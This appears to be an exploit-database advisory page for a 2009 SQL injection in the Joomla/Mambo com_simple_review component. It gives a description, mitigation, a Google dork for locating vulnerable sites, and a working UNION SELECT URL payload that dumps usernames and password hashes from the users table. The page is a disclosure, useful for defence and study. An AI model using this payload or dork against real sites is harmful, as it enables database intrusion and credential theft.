Joomla com_simple_review Sql injection

vendor:

Simple Review

by:

EcHoLL

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Simple Review

Affected Version From: 1.3.2005

Affected Version To: 1.3.2005

Patch Exists: YES

Related CWE: N/A

CPE: a:rowan_youngson:simple_review

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Mambo CMS

2009

Joomla com_simple_review Sql injection

A SQL injection vulnerability exists in the com_simple_review component of Joomla. An attacker can exploit this vulnerability to gain access to the database and execute arbitrary SQL commands. The vulnerability is due to insufficient sanitization of user-supplied input in the 'category' parameter of the 'index.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing malicious SQL statements to the vulnerable script. Successful exploitation of this vulnerability can result in unauthorized access to the database and execution of arbitrary SQL commands.

Mitigation:

The vendor has released an update to address this vulnerability. Users are advised to upgrade to the latest version of the application.

Source

Exploit-DB raw data:

#Joomla com_simple_review Sql injection#
########################################
#[~] Author :  EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label Hippi Godlike Nitrous

#[!] Module_Name:  com_simple_review
#[!] Script_Name:  Joomla
#[!] Google_Dork:  inurl:"com_simple_review"
########################################
 
www.scriptpage.com/index.php?option=com_simple_review&category=4+AND+1=2+UNION+SELECT+0,concat_ws(username,0x3a,password),2+from+jos_users--

 <name>simple_review</name>
 <creationDate>29/05/2006</creationDate>
 <author>Rowan Youngson</author>
 <copyright>This component in released under the Mozilla Public License Version 1.1</copyright>
 <authorEmail> rowans@gmail.com </authorEmail>

 <authorUrl>www.row1.info</authorUrl>
 <version>1.3.5</version>
 <description>Simple Review is a Review component for the Mambo CMS</description>

# milw0rm.com [2009-01-05]